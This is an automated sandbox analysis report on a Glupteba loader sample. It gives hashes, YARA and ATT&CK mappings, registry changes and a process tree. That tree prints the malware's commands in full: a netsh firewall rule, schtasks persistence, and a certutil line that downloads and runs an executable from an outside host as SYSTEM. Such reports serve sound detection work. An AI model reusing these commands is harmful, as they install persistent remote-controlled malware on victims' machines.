glupteba | feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459

General

Target

feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
Size

3.8MB
MD5

b11817fbd44543e6f2a09fd0d6e600d3
SHA1

a200060d888da8b8e49859be8ec84fb8cd957d67
SHA256

feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459
SHA512

d47db2d6a2bb036baa3ea9435a26bec04f564fc2a7584de805400ec2de9db92560c8b2b143413b641522ddd42b729cf43353188bccdf4cfaa50c00f79034eb0d
SSDEEP

98304:7SvIAqkXrJWR+K9tPp+qjvtmlb/2mU8u:ulrJI9tBRtmJ/xu

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2652-133-0x0000000001530000-0x0000000001D34000-memory.dmp	family_glupteba
behavioral2/memory/2652-134-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral2/memory/2652-136-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral2/memory/5056-140-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral2/memory/5056-144-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral2/memory/1184-146-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral2/memory/1184-152-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4888 created 2652	4888	svchost.exe	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
PID 4888 created 1184	4888	svchost.exe	csrss.exe
PID 4888 created 1184	4888	svchost.exe	csrss.exe
PID 4888 created 1184	4888	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

1184 csrss.exe
216 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

3680 netsh.exe

pid	process
1184	csrss.exe
216	patch.exe

pid	process
3680	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WhiteMeadow = "\"C:\\Windows\\rss\\csrss.exe\""	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2312 bcdedit.exe

pid	process
2312	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe

description	ioc	process
File opened for modification	C:\Windows\rss	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
File created	C:\Windows\rss\csrss.exe	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1680 schtasks.exe
4124 schtasks.exe

pid	process
1680	schtasks.exe
4124	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exefeef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.execsrss.exe

pid	process
2652	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
2652	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
5056	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
5056	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
1184	csrss.exe
1184	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	2652	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
Token: SeImpersonatePrivilege	2652	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
Token: SeTcbPrivilege	4888	svchost.exe
Token: SeTcbPrivilege	4888	svchost.exe
Token: SeBackupPrivilege	4888	svchost.exe
Token: SeRestorePrivilege	4888	svchost.exe
Token: SeBackupPrivilege	4888	svchost.exe
Token: SeRestorePrivilege	4888	svchost.exe
Token: SeBackupPrivilege	4888	svchost.exe
Token: SeRestorePrivilege	4888	svchost.exe
Token: SeBackupPrivilege	4888	svchost.exe
Token: SeRestorePrivilege	4888	svchost.exe
Token: SeSystemEnvironmentPrivilege	1184	csrss.exe
Token: SeBackupPrivilege	4888	svchost.exe
Token: SeRestorePrivilege	4888	svchost.exe
Token: SeBackupPrivilege	4888	svchost.exe
Token: SeRestorePrivilege	4888	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exefeef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.execmd.execsrss.exe

description	pid	process	target process
PID 4888 wrote to memory of 5056	4888	svchost.exe	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
PID 4888 wrote to memory of 5056	4888	svchost.exe	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
PID 4888 wrote to memory of 5056	4888	svchost.exe	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
PID 5056 wrote to memory of 4832	5056	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe	cmd.exe
PID 5056 wrote to memory of 4832	5056	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe	cmd.exe
PID 4832 wrote to memory of 3680	4832	cmd.exe	netsh.exe
PID 4832 wrote to memory of 3680	4832	cmd.exe	netsh.exe
PID 5056 wrote to memory of 1184	5056	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe	csrss.exe
PID 5056 wrote to memory of 1184	5056	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe	csrss.exe
PID 5056 wrote to memory of 1184	5056	feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe	csrss.exe
PID 4888 wrote to memory of 1680	4888	svchost.exe	schtasks.exe
PID 4888 wrote to memory of 1680	4888	svchost.exe	schtasks.exe
PID 4888 wrote to memory of 4124	4888	svchost.exe	schtasks.exe
PID 4888 wrote to memory of 4124	4888	svchost.exe	schtasks.exe
PID 4888 wrote to memory of 216	4888	svchost.exe	patch.exe
PID 4888 wrote to memory of 216	4888	svchost.exe	patch.exe
PID 1184 wrote to memory of 2312	1184	csrss.exe	bcdedit.exe
PID 1184 wrote to memory of 2312	1184	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
"C:\Users\Admin\AppData\Local\Temp\feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2652

C:\Users\Admin\AppData\Local\Temp\feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe
"C:\Users\Admin\AppData\Local\Temp\feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5056

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4832

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:3680

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1184

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1680

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:4124

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:216

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4888

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
b11817fbd44543e6f2a09fd0d6e600d3

SHA1
a200060d888da8b8e49859be8ec84fb8cd957d67

SHA256
feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459

SHA512
d47db2d6a2bb036baa3ea9435a26bec04f564fc2a7584de805400ec2de9db92560c8b2b143413b641522ddd42b729cf43353188bccdf4cfaa50c00f79034eb0d

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
b11817fbd44543e6f2a09fd0d6e600d3

SHA1
a200060d888da8b8e49859be8ec84fb8cd957d67

SHA256
feef25c4ba903369e877ec905261c71ce44e2f4b2c0b394fb38464b8a16e8459

SHA512
d47db2d6a2bb036baa3ea9435a26bec04f564fc2a7584de805400ec2de9db92560c8b2b143413b641522ddd42b729cf43353188bccdf4cfaa50c00f79034eb0d

Download Submit
memory/216-149-0x0000000000000000-mapping.dmp

Download
memory/1184-141-0x0000000000000000-mapping.dmp

Download
memory/1184-152-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1184-146-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1184-145-0x0000000001600000-0x00000000019A8000-memory.dmp

Filesize
3.7MB

Download
memory/1680-147-0x0000000000000000-mapping.dmp

Download
memory/2312-151-0x0000000000000000-mapping.dmp

Download
memory/2652-136-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/2652-132-0x000000000117D000-0x0000000001525000-memory.dmp

Filesize
3.7MB

Download
memory/2652-134-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/2652-133-0x0000000001530000-0x0000000001D34000-memory.dmp

Filesize
8.0MB

Download
memory/3680-138-0x0000000000000000-mapping.dmp

Download
memory/4124-148-0x0000000000000000-mapping.dmp

Download
memory/4832-137-0x0000000000000000-mapping.dmp

Download
memory/5056-140-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/5056-139-0x0000000001266000-0x000000000160E000-memory.dmp

Filesize
3.7MB

Download
memory/5056-144-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/5056-135-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads